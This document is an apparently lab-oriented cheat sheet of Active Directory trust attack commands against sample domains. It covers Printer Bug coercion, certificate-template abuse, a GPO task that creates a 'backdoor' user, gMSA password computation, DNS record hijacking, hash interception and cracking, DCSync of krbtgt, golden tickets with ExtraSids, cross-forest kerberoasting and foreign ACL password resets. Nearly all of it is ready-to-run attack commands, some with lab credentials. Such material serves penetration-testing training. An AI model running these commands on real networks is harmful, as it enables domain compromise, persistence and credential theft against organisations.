



ACTIVE DIRECTORY TRUST ATTACKS CHEAT SHEET

Enumeration & Mapping

Command	Description
<code>Import-Module activedirectory</code>	Load the Active Directory (AD) PowerShell module.
<code>Get-ADTrust -Filter *</code>	Enumerate Active Directory trusts for current domain using the built-in AD PowerShell module.
<code>Get-DomainTrust</code>	Enumerate trusts for the current domain using PowerView.
<code>Get-DomainTrustMapping</code>	Enumerate all trusts for the current domain along with all trusts for each domain that is found in the process.
<code>.\Adalanche.exe collect activedirectory --domain inlanefreight.ad</code>	Using the Adalanche tool to map Active Directory.
<code>(objectClass=trustedDomain)</code>	Query in Adalanche GUI to view all trusts within the collected data.

Intra Forest Attacks

Command	Description
<code>.\Rubeus.exe monitor /interval:5 /nowrap</code>	Monitor Kerberos tickets using Rubeus.

Command	Description
<code>.\SpoolSample.exe dc01.inlanefreight.ad dc02.dev.inlanefreight.ad</code>	Abusing the Printer Bug flaw.
<code>.\Rubeus.exe renew /ticket:doIFvDCCBbigAwIBQNUp/nYxdZNM8CtNv...SNIP... /ptt</code>	Obtaining a valid TGT ticket in memory using the renew option in Rubeus.
<code>\$dn = "CN=Configuration,DC=INLANEFREIGHT,DC=AD" \$acl = Get-Acl -Path "AD:\$dn" \$acl.Access Where-Object {\$_.ActiveDirectoryRights -match "GenericAll Write" }</code>	Enumerate ACL's for WRITE access on Configuration Naming Context.
<code>.\Certify.exe request /ca:inlanefreight.ad\INLANEFREIGHT-DC01-CA /domain:inlanefreight.ad /template:"Copy of User" /altname:INLANEFREIGHT\Administrator</code>	Request a ticket using Certify.
<code>.\Rubeus.exe asktgt /domain:inlanefreight.ad /user:Administrator /certificate:cert.pfx /ptt</code>	Request a TGT ticket.
<code>\$gpo = "Backdoor" New-GPO \$gpo</code>	Create new GPO.
<code>New-GPOImmediateTask -Verbose -Force -TaskName 'Backdoor' - GPODisplayName "Backdoor" -Command C:\Windows\System32\cmd.exe - CommandArguments "/c net user backdoor B@ckdoor123 /add"</code>	Create a scheduled task inside a GPO that adds a new user.
<code>Get-ADDomainController -Server inlanefreight.ad Select ServerObjectDN</code>	Retrieve the replication site of the root domain controller.
<code>\$sitePath = "CN=Default-First-Site- Name,CN=Sites,CN=Configuration,DC=INLANEFREIGHT,DC=AD" New-GPLink -Name "Backdoor" -Target \$sitePath -Server dev.inlanefreight.ad</code>	Link the GPO to the default site as SYSTEM.
<code>New-ADServiceAccount -Name "apache-dev" -DNSHostName "inlanefreight.ad" -PrincipalsAllowedToRetrieveManagedPassword htb- student-1 -Enabled \$True</code>	Create new gMSA account.
<code>.\GoldenGMSA.exe gmsainfo --domain inlanefreight.ad</code>	Enumerate gMSA.

Command	Description
<code>\GoldenGMSA.exe compute --sid "S-1-5-21-2879935145-656083549-3766571964-1106" --forest dev.inlanefreight.ad --domain inlanefreight.ad</code>	Retrieve gMSA password.
<code>.\GoldenGMSA.exe gmsainfo --domain inlanefreight.ad</code>	Retrieve msds-ManagedPasswordID.
<code>.\GoldenGMSA.exe kdsinfo --forest dev.inlanefreight.ad</code>	Retrieve kdsinfo.
<code>.\GoldenGMSA.exe compute --sid "S-1-5-21-2879935145-656083549-3766571964-1106" --kdskey AQAAAAwsk<SNIP></code>	Compute the gMSA Password Manually.
<pre>import base64 import hashlib base64_input = "WITSKRtGah<SNIP>=" print(hashlib.new("md4", base64.b64decode(base64_input)).hexdigest())</pre>	Convert password to NT hash.
<code>Resolve-DNSName TEST1.inlanefreight.ad</code>	Resolve non-existing DNS Name.
<code>Import-module Powermad.ps1 New-ADIDNSNode -Node * -domainController DC01.inlanefreight.ad - Domain inlanefreight.ad -Zone inlanefreight.ad -Tombstone -Verbose</code>	Add wildcard DNS record.
<code>Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad - ZoneName inlanefreight.ad -Name "@"</code>	Enumerate DNS records in parent domain.
<code>Resolve-DnsName -Name DEV01.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD</code>	Enumerate DNS Record for DEV01

Command	Description
<pre>\$Old = Get-DnsServerResourceRecord -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad -Name DEV01 \$New = \$Old.Clone() \$TTL = [System.TimeSpan]::FromSeconds(1) \$New.TimeToLive = \$TTL \$New.RecordData.IPv4Address = [System.Net.IPAddress]::parse('172.16.210.3') Set-DnsServerResourceRecord -NewInputObject \$New -OldInputObject \$Old -ComputerName DC01.INLANEFREIGHT.AD -ZoneName inlanefreight.ad Get-DnsServerResourceRecord -ComputerName DC01.inlanefreight.ad - ZoneName inlanefreight.ad -Name "@"</pre>	Modify DNS Record for DEV01.
<pre>Resolve-DnsName -Name DEV01.inlanefreight.ad -Server DC01.INLANEFREIGHT.AD</pre>	Verify the IP change for DEV01.
<pre>Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y -SMB Y</pre>	Start Inveigh for hash interception.
<pre>hashcat -m 5600 buster_ntlmv2 /usr/share/wordlists/rockyou.txt</pre>	Crack NTLMv2 hash with Hashcat.
<pre>Get-DomainForeignUser</pre>	Enumerate users that belong to groups within the parent domain.
<pre>Get-DomainGroup -Identity 'Inlanefreight_admins' -domain inlanefreight.ad</pre>	Gather additional info on the Inlanefreight_admins group.
<pre>./Rubeus createnetenonly /program:powershell.exe /show</pre>	Create a sacrificial logon session with Rubeus.

Command	Description
<pre>Import-Module .\PowerView.ps1 \$SecPassword = ConvertTo-SecureString 'T3st@123' -AsPlainText -Force New-DomainUser -Domain inlanefreight.ad -SamAccountName testuser - AccountPassword \$SecPassword</pre>	Create a new domain user in parent domain.
<pre>Add-ADGroupMember -identity "DNSAdmins" -Members testuser -Server inlanefreight.ad</pre>	Add the created user into DNSAdmins Group.
<pre>\$sid = Convert-NameToSid rita Get-DomainObjectAcl -ResolveGUIDs -Identity * -domain inlanefreight.ad &#124; ? {\$_.SecurityIdentifier -eq \$sid}</pre>	Enumerate ACLs for Rita.
<pre>Add-DomainGroupMember -identity 'Infrastructure' -Members 'DEV\rita' -Domain inlanefreight.ad -Verbose</pre>	Add Rita to Infrastructure group.
<pre>Get-DomainGroupMember -Identity 'Infrastructure' -Domain inlanefreight.ad -Verbose</pre>	Confirm group membership.
<pre>\$Domain = "inlanefreight.ad" \$DomainSid = Get-DomainSid \$Domain Get-DomainObjectAcl -Domain \$Domain -ResolveGUIDs -Identity * ? { (\$_.ActiveDirectoryRights -match 'WriteProperty GenericAll GenericWrite WriteDacl WriteOwner') -and `     (\$_.AceType -match 'AccessAllowed') -and ` (\$_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}\$') -and ` (\$_.SecurityIdentifier -notmatch \$DomainSid) }</pre>	Enumerate Foreign ACLs for all users.
<pre>ConvertFrom-SID S-1-5-21-2901893446-2198612369-2488268719-2103</pre>	Convert SID to username with PowerView.
<pre>.\Whisker.exe add /target:DC01\$ /domain:inlanefreight.ad</pre>	Add credentials on the msDS-KeyCredentialLink attribute.

Command	Description
<code>.\Rubeus.exe s4u /dc:DC01.inlanefreight.ad /ticket:dot0YBOM<SNIP>== /impersonateuser:administrator@inlanefreight.ad /ptt /self /service:host/DC01.inlanefreight.ad /altservice:cifs/DC01.inlanefreight.ad</code>	Perform S4U2self request to impersonate the Administrator account.
<code>.\mimikatz.exe "lsadump::dcsync /user:DEV\krbtgt" exit</code>	Obtain KRBGT hash for the child domain.
<code>Get-DomainSID</code>	Obtain SID of domain.
<code>Get-ADGroup -Identity "Enterprise Admins" -Server "inlanefreight.ad"</code>	Obtain Enterprise Admins SID from parent domain.
<code>.\Rubeus.exe golden /rc4:992093609707726257e0959ce3e23771 /domain:dev.inlanefreight.ad /sid:S-1-5-21-2901893446-2198612369- 2488268719 /sids:S-1-5-21-2879935145-656083549-3766571964-519 /user:Administrator /ptt</code>	Create Golden Ticket using Rubeus.
<code>mimikatz # kerberos::golden /user:htb-student /domain:dev.inlanefreight.ad /sid:S-1-5-21-2901893446-2198612369- 2488268719 /krbtgt:992093609707726257e0959ce3e23771 /sids:S-1-5-21- 2879935145-656083549-3766571964-519 /ptt</code>	Create Golden Ticket using Mimikatz.
<code>klist</code>	Verify ticket in memory.
<code>secretsdump.py dev.inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@10.129.229.159 -just-dc-user DEV/krbtgt</code>	Obtain KRBGT hash for the child domain using Secretsdump.py.
<code>lookupsid.py dev.inlanefreight.ad/Administrator:'HTB_@cademy_adm!'@10.129.229.159 &#124; grep "Domain SID"</code>	Obtain SID of domain using lookupsid.py.
<code>ticketer.py -nthash 992093609707726257e0959ce3e23771 -domain dev.inlanefreight.ad -domain-sid S-1-5-21-2901893446-2198612369- 2488268719 -extra-sid S-1-5-21-2879935145-656083549-3766571964-519 htb-student.</code>	Create Golden Ticket using ticketer.py.
<code>raiseChild.py -target-exe 172.16.210.99 dev.inlanefreight.ad/htb- studentF</code>	Automating the ExtraSids attack using raisechild.py.

Cross Forest Attacks

Command	Description
<code>.\Rubeus.exe kerberoast /domain:logistics.ad</code>	Kerberoast across forest trust.
<code>Get-ADUser -Filter "SIDHistory -Like '*'" -Properties SIDHistory</code>	Enumerate users with SIDHistory enabled.
<code>./Rubeus createnetenonly /program:powershell.exe /show</code>	Create a sacrificial login session with Rubeus.
<code>Get-DomainTrust -domain logistics.ad Where-Object {\$_.TargetName -eq "inlanefreight.ad"} Select TrustAttributes</code>	Retrieve only TrustAttributes for domain.
<code>.\mimikatz.exe "lsadump::dcsync /user:INLANEFREIGHT\krbtgt" exit</code>	Obtain KRBTGT hash for the current domain.
<code>python3 ftinfo.py</code>	Parse data from msDS-TrustForestTrustInfo .
<code>proxychains python getlocalsid.py inlanefreight.ad/Administrator@SQL02.logistics.ad SQL02</code>	Get LocalSid for SQL server.
<code>Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' select name,objectguid</code>	Get GUID for target domain.
<code>.\mimikatz.exe "lsadump::dcsync /guid:{8d52f9da-361b-4dc3-8fa7-af5f282fa741}" "exit"</code>	Retrieve Inter-realm tickets.
<code>Get-SQLServerLink</code>	Enumerate SQL Server links.
<code>Get-SQLQuery -Query "EXEC sp_helplinkedsrvlogin"</code>	Enumerate login rights for user.
<code>mssqlclient.py jimmy@10.129.229.188 -windows-auth</code>	Connect to SQL Server using Impacket tools.

Command	Description
<code>Get-DomainObject -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' -Domain logistics.ad</code>	Enumerate foreign security principals.
<code>Get-DomainObjectAcl -ResolveGUIDs -Identity * -domain logistics.ad ? {\$_.SecurityIdentifier -eq \$sid}</code>	Enumerate foreign ACL principals.
<code>Set-DomainUserPassword -identity jessica -AccountPassword \$pass -domain logistics.ad -verbose</code>	Abuse foreign ACL principals.
<code>Set-ADObject -Identity "CN=Tom,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=controlcenter,DC=corp" -Add @{'member'="CN=Administrator,CN=Users,DC=controlcenter,DC=corp"} -Verbose</code>	Create shadow principal in bastion forest.
<code>Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * select Name,member,msDS-ShadowPrincipalSid fl</code>	Enumerate shadow principals.